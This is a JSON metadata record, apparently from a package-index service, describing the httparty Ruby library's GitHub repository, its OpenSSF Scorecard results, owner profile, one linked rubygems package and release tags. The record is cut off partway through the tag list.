{"id":233,"name":null,"description":":tada: Makes http fun again!","url":"https://github.com/jnunemaker/httparty","last_synced_at":"2026-04-30T19:30:29.764Z","repository":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":967,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-27T18:08:11.104Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-24T11:22:17.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32375625,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-28T09:24:15.638Z","status":"ssl_error","status_checked_at":"2026-04-28T09:24:15.071Z","response_time":56,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"packages":[{"id":12359480,"name":"yoyle439587298","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"http://jnunemaker.github.com/httparty","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2014-03-11T00:10:34.675Z","latest_release_published_at":"2014-03-11T00:10:34.675Z","latest_release_number":"0.13.0","last_synced_at":"2026-04-25T17:04:11.694Z","created_at":"2025-10-07T07:05:51.993Z","updated_at":"2026-04-25T17:09:39.736Z","registry_url":"https://gem.coop/gems/yoyle439587298","install_command":"gem install yoyle439587298 -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/yoyle439587298/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.